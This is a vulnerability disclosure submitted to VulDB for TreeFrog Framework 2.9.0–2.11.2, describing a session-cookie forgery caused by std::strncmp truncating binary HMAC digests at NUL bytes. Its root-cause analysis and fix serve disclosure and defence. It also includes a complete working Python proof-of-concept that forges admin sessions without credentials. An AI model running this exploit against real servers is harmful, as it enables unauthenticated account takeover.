Invia #873625: treefrogframework TreeFrog Framework 2.9.0 through 2.11.2 (inclusive) Improper Verification of Cryptographic Signatureinformazioni

Titolotreefrogframework TreeFrog Framework 2.9.0 through 2.11.2 (inclusive) Improper Verification of Cryptographic Signature
DescrizioneVulnerability Title: Authentication Bypass via Session Cookie Forgery in TreeFrog Framework Vendor: treefrogframework (https://github.com/treefrogframework/treefrog-framework) Product: TreeFrog Framework Language: C++ / Qt Affected versions: 2.9.0 through 2.11.2 (inclusive) Latest confirmed vulnerable: 2.11.2 (current release as of 2026-06-29) Researcher: Theodosis Paidakis Type: Improper Verification of Cryptographic Signature CWE: CWE-347 CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS 4.0 score: 9.2 (Critical) Authentication required: None Precondition: Application must use Session.StoreType=cookie in application.ini SUMMARY The cookie session store in TreeFrog Framework uses std::strncmp to verify HMAC-SHA3-256 session cookie digests. std::strncmp is a C string comparison function that stops at the first NUL byte (0x00). HMAC-SHA3-256 produces raw binary output, so roughly 1 in 256 digests has 0x00 as its first byte. When that is the case, strncmp returns 0 immediately regardless of the remaining 31 bytes. An attacker who submits a forged cookie with an all-zero 32-byte digest passes the HMAC check whenever the server-computed HMAC for that payload also starts with 0x00. By varying a nonce field inside the session payload, the attacker will find such a payload in average of 256 HTTP requests. The server accepts that payload with the all-zero forged digest as a valid authenticated session. The attack needs no credentials and no knowledge of the server secret. Confirmed against TreeFrog 2.11.2: full user/admin session forged from zero credentials in under 300 requests most of the time. ROOT CAUSE File: src/tglobal.h, line 247 inline bool strcmp(const QByteArray &str1, const QByteArray &str2) { return str1.length() == str2.length() && !std::strncmp(str1.data(), str2.data(), str1.length()); } std::strncmp treats its arguments as NUL-terminated C strings. A 32-byte HMAC-SHA3-256 digest is raw binary data, not a C string. File: src/tsessioncookiestore.cpp, lines 80-91 QByteArray ba = QByteArray::fromBase64(data); QByteArray digest = QMessageAuthenticationCode::hash( ba, sessionSecret(), QCryptographicHash::Sha3_256); if (!Tf::strcmp(digest, QByteArray::fromBase64(dgstr))) { tSystemWarn("Recieved a tampered cookie or ..."); return session; } ba = Tf::lz4Uncompress(ba); QDataStream ds(&ba, QIODevice::ReadOnly); ds >> *static_cast<QVariantMap *>(&session); Tf::strcmp returns true on a match, so the rejection branch fires when !Tf::strcmp is true, i.e. when the comparison fails. When digest[0] is 0x00 and the attacker's submitted digest also starts with 0x00, strncmp returns 0 at the first byte, Tf::strcmp returns true, !true is false, and the rejection branch is skipped. The server then decompresses and deserializes the attacker's payload as the active session. INTRODUCTION DATE Commit 2673eaba9 (2023-02-04, "use strncmp for qbytearray comparison") introduced the vulnerability by replacing QByteArray::operator!= with Tf::strcmp backed by std::strncmp. Before that commit the comparison was: if (digest != QByteArray::fromBase64(dgstr)) { Qt's QByteArray::operator!= performs a full binary comparison regardless of NUL bytes. It was safe. Seven days earlier, commit c300b6b6 (2023-01-28) upgraded the signing algorithm from HMAC-SHA1 to HMAC-SHA3-256. SHA3-256 produces uniformly distributed binary output, so the NUL truncation became exploitable the moment commit 2673eaba9 landed. Versions before 2.9.0 used operator!= and are not affected. PROOF OF CONCEPT The following Python script (requires: pip install lz4 requests) performs the blind unauthenticated attack. It accepts command-line arguments and is modular enough to run against any TreeFrog implementation. Identifying the arguments for an unknown target: 1) Cookie name (--cookie): Log in as any user and see the session cookie name in the response. Default is TFSESSION. 2) Protected endpoint (--endpoint): Find a URL that returns 401/403 without a session and 200 with one. Session field names (--field): These are values the attacker injects into the forged session cookie to impersonate the target account. --field role=admin for example, tells the server to treat the request as an admin. To find field names, log in as any user, take the left part of the session cookie before the underscore, and run the decoder below. If no login is available, try role=admin and user_id=1. Most TreeFrog apps use this structure because the framework documentation does. Decoder (left part of cookie, before the underscore): python3 -c " import base64,struct;import lz4.block as lz4 d=lz4.decompress(base64.b64decode('PASTE_LEFT_PART==')[4:],uncompressed_size=65536);p=[0] def u(): v=struct.unpack_from('>I',d,p[0])[0]; p[0]+=4; return v def s(): n=u(); r=d[p[0]:p[0]+n].decode('utf-16-be'); p[0]+=n; return r for _ in range(u()): k=s(); t=u(); p[0]+=1 if t==2: v=struct.unpack_from('>i',d,p[0])[0]; p[0]+=4 elif t==10: v=s() elif t==12: n=u(); v=d[p[0]:p[0]+n].hex(); p[0]+=n print(k,'=',v) " Usage: python3 poc.py --url http://target --endpoint /admin \ --cookie TFSESSION --field role=admin --field user_id=1 The script serializes session fields into a QDataStream QVariantMap, LZ4-compresses them, appends an all-zero 32-byte HMAC digest, and probes the endpoint with each nonce until the server returns 200. Prints the full winning cookie on success. poc.py: import argparse, base64, random, struct, sys import requests try: import lz4.block as lz4 except ImportError: sys.exit("pip install lz4 requests") def _qs(s): b = s.encode("utf-16-be"); return struct.pack(">I", len(b)) + b def _qv(v): if isinstance(v, int): return struct.pack(">IBI", 2, 0, 0)[:5] + struct.pack(">i", v) b = v.encode("utf-16-be") return struct.pack(">IB", 10, 0) + struct.pack(">I", len(b)) + b def serialize(fields): out = struct.pack(">I", len(fields)) for k in sorted(fields): out += _qs(k) + _qv(fields[k]) return out def build_cookie(fields, nonce): data = serialize({**fields, "_nonce": nonce}) cdata = lz4.compress(data, store_size=False) framed = struct.pack("<i", len(cdata)) + cdata return base64.b64encode(framed).decode() + "_" + base64.b64encode(bytes(32)).decode() def parse_field(s): k, _, v = s.partition("=") try: return k.strip(), int(v) except: return k.strip(), v ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--endpoint", required=True) ap.add_argument("--cookie", default="TFSESSION") ap.add_argument("--field", dest="fields", action="append", type=parse_field, metavar="KEY=VALUE") ap.add_argument("--max-attempts", type=int, default=100000) args = ap.parse_args() target = args.url.rstrip("/") + args.endpoint fields = dict(args.fields) if args.fields else {"role": "admin", "user_id": 1} print(f"target: {target}\nfields: {fields}\n") gate = requests.get(target, timeout=10, allow_redirects=False) gate_status = gate.status_code print(f"[gate] {gate_status}") if gate_status == 200: print("WARNING: endpoint returned 200 without a session.") print(" Use an endpoint that returns 401, 403.\n") nonces = list(range(args.max_attempts)) random.shuffle(nonces) for i, nonce in enumerate(nonces): cookie = build_cookie(fields, nonce) r = requests.get(target, cookies={args.cookie: cookie}, timeout=10, allow_redirects=False) if i < 3 or i % 50 == 0 or r.status_code == 200: print(f"[{i+1:>4}] nonce={nonce} -> {r.status_code}" + (" BYPASS" if r.status_code == 200 else "")) if r.status_code == 200: if gate_status == 200: print("FALSE POSITIVE: gate was open before attack."); break print(f"\n{args.cookie}={cookie}") try: print(r.json()) except: print(r.text[:300]) break IMPACT An unauthenticated remote attacker can forge an arbitrary session and elevate to any role, impersonate any user ID, or overwrite the CSRF token (_csrfId) to bypass CSRF protection as well. The attack requires no account on the target and no knowledge of the server secret. It completes in average of 256 HTTP requests. The forged session is indistinguishable from a legitimately issued one. SOLUTION Replace std::strncmp with a NUL-safe binary comparison in src/tglobal.h, line 247: inline bool strcmp(const QByteArray &str1, const QByteArray &str2) { if (str1.size() != str2.size()) return false; return QCryptographicHash::equal(str1, str2); // Qt 6.6+, constant-time } For Qt versions before 6.6, use CRYPTO_memcmp from OpenSSL or a constant-time byte comparison loop. Restoring the original QByteArray::operator!= from before commit 2673eaba9 would also fix the issue.
Fonte⚠️ https://github.com/treefrogframework/treefrog-framework/issues/436
Utente
 theodosis (UID 99066)
Sottomissione30/06/2026 00:28 (2 mesi fa)
Moderazione16/08/2026 10:50 (2 months later)
StatoAccettato
Voce VulDB391153 [treefrogframework treefrog-framework fino a 2.11.2 Session Cookie tsessioncookiestore.cpp std::strncmp autenticazione debole]
Punti20

Do you know our Splunk app?

Download it now for free!